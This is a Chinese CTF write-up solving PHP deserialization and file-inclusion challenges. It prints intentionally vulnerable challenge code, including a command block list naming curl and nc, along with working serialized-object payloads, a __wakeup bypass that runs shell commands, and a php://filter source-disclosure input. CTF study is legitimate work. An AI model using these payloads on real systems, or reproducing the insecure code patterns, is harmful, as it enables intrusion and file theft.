0x00 serialize1

<?php
show_source("index.php");
//error_reporting(0);

class test{
    public $username;
    public $password;

    function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    function __destruct(){
        $info = 'your secret is '.$this->password;
        echo $info;
    }
}

class exam{
    public $file;
    function __toString(){
        //flag.php
        echo file_get_contents($this->file);
        return 'nice';
    }
}


$text = $_GET['text'];
$res = unserialize($text);



?> 

重点是echo file_get_contents($this->file);为了触发__toString(),必须找一个能把exam类当字符输出的地方,向上可以找到echo $info,且$password可控,脚本如下:

<?php
class test{
    public $username;
    public $password;

    function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    function __destruct(){
        $info = 'your secret is '.$this->password;
        echo $info;
    }
}

class exam{
    public $file;
    function __toString(){
        echo file_get_contents($this->file);
        return 'nice';
    }
}

$b = new exam();
$b->file = '/var/www/html/flag.php';
$a = new test("shawroot",$b);

echo serialize($a)."<br />";
?> 

写绝对路径的原因(还有待研究):

  • 析构函数在脚本关闭时候,可能存在目录穿越
  • 析构函数在脚本关闭时调用,此时所有的 HTTP 头信息已经发出。脚本关闭时的工作目录有可能和在 SAPI(如 apache)中时不同。

0x01 安慰奖

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

老生常谈的绕过__wakeup()。要注意成员变量为protected。

首先先看一下当前目录有哪些文件:O:3:"ctf":3:{s:11:"%00%00username";s:5:"admin";s:6:"%00%00cmd";s:2:"ls";}

存在flag.php因为过滤了cat等查看文件的命令,使用tac即可。

最终payload:

O:3:"ctf":3:{s:11:"%00%00username";s:5:"admin";s:6:"%00%00cmd";s:6:"tac f*";}

0x02 upload

提示file参数,存在文件包含:

file=php://filter/read=convert.base64-encode/resource=include

<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

BMZCTF——phar??